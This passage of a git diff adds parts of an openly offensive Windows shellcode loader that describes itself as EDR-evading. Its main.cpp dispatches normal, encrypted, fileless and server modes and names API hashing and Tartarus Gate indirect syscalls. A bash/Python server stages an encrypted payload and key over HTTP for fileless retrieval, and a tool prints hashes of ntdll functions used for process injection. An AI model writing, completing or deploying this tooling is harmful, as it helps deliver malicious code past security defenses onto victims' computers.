RunNormal(const Cli::Options& opt); +int RunEncrypt(const Cli::Options& opt); +int RunFileless(const Cli::Options& opt); +int RunServer(const Cli::Options& opt); + +} // namespace LoaderCore \ No newline at end of file diff --git a/loader/main.cpp b/loader/main.cpp new file mode 100644 index 0000000..5239666 --- /dev/null +++ b/loader/main.cpp @@ -0,0 +1,69 @@ +// loader v2.0 — modular EDR-evading shellcode loader +// lib: Manual PE parser, API hashing, Tartarus Gate indirect syscalls, +// section mapping, AES crypto, HTTP fileless transport + +#define WIN32_LEAN_AND_MEAN +#define NOMINMAX +#define _CRT_SECURE_NO_WARNINGS + +#include +#include +#include "cli.hpp" +#include "loader_core.hpp" +#include "../lib/common/log.hpp" + +int main(int argc, char* argv[]) { + SetConsoleOutputCP(CP_UTF8); + + const Cli::Options opt = Cli::Parse(argc, argv); + + // Separate channels: loader verbose dumps syscalls/injection; server verbose dumps HTTP only. + if (opt.mode == Cli::Mode::Server) { + Log::SetVerbose(false); + Log::SetServerVerbose(opt.server_verbose); + } else { + Log::SetVerbose(opt.verbose); + Log::SetServerVerbose(false); + } + + if (opt.mode == Cli::Mode::Help) { + Cli::PrintUsage(); + return 1; + } + + if (opt.mode == Cli::Mode::Banner) { + Cli::PrintBanner(); + return 0; + } + + // Server does not need Tartarus/syscall table; skip noisy init path. + if (opt.mode != Cli::Mode::Server) { + if (!LoaderCore::Initialize()) { + Log::Err("Syscall init failed"); + return 10; + } + } + + int rc = 0; + switch (opt.mode) { + case Cli::Mode::Normal: + rc = LoaderCore::RunNormal(opt); + break; + case Cli::Mode::Encrypt: + rc = LoaderCore::RunEncrypt(opt); + break; + case Cli::Mode::Fileless: + rc = LoaderCore::RunFileless(opt); + break; + case Cli::Mode::Server: + rc = LoaderCore::RunServer(opt); + break; + default: + Cli::PrintUsage(); + rc = 1; + break; + } + + LoaderCore::Shutdown(); + return rc; +} \ No newline at end of file diff --git a/server.sh b/server.sh new file mode 100644 index 0000000..a826c0f --- /dev/null +++ b/server.sh @@ -0,0 +1,65 @@ +#!/usr/bin/env bash +# Linux fileless payload server (companion to loader.exe --server on Windows) +# Usage: ./server.sh [--port 8080] [--payload file.enc] [--key file.key] + +set -euo pipefail + +PORT=8080 +PAYLOAD="payload.enc" +KEY="payload.key" + +while [[ $# -gt 0 ]]; do + case "$1" in + --port) PORT="$2"; shift 2 ;; + --payload) PAYLOAD="$2"; shift 2 ;; + --key) KEY="$2"; shift 2 ;; + --server) shift ;; + *) echo "Unknown arg: $1"; exit 1 ;; + esac +done + +if [[ ! -f "$PAYLOAD" ]]; then + echo "[!] Missing payload file: $PAYLOAD" + exit 1 +fi + +echo "[*] Linux fileless server on port $PORT" +echo "[*] Endpoints: /api/v1/payload /api/v1/key /api/v1/health" + +python3 - "$PORT" "$PAYLOAD" "$KEY" <<'PY' +import sys, os +from http.server import BaseHTTPRequestHandler, HTTPServer + +port = int(sys.argv[1]) +payload_path = sys.argv[2] +key_path = sys.argv[3] + +with open(payload_path, 'rb') as f: + payload = f.read() +key = b'' +if os.path.isfile(key_path): + with open(key_path, 'rb') as f: + key = f.read() + +class Handler(BaseHTTPRequestHandler): + def do_GET(self): + if self.path.startswith('/api/v1/payload'): + body = payload + elif self.path.startswith('/api/v1/key'): + body = key + elif self.path.startswith('/api/v1/health'): + body = b'OK' + else: + self.send_response(404) + self.end_headers() + return + self.send_response(200) + self.send_header('Content-Type', 'application/octet-stream') + self.send_header('Content-Length', str(len(body))) + self.end_headers() + self.wfile.write(body) + def log_message(self, fmt, *args): + sys.stderr.write("[server] " + (fmt % args) + "\n") + +HTTPServer(('0.0.0.0', port), Handler).serve_forever() +PY \ No newline at end of file diff --git a/tools/hash_dump.cpp b/tools/hash_dump.cpp new file mode 100644 index 0000000..b215757 --- /dev/null +++ b/tools/hash_dump.cpp @@ -0,0 +1,16 @@ +#include +#include +#include "../lib/common/hashes.hpp" + +int main() { + const char* names[] = { + "ntdll.dll", "NtAllocateVirtualMemory", "NtProtectVirtualMemory", + "NtCreateSection", "NtMapViewOfSection", "NtCreateThreadEx", + "NtQuerySystemInformation", "NtOpenProcess", "NtClose" + }; + for (auto* n : names) { + std::cout << n << " djb2=0x" << std::hex << Hashes::Djb2(n) + << " lower=0x" << Hashes::Djb2Lower(n) << std::dec << "\n"; + } + return 0; +} \ No newline at end of file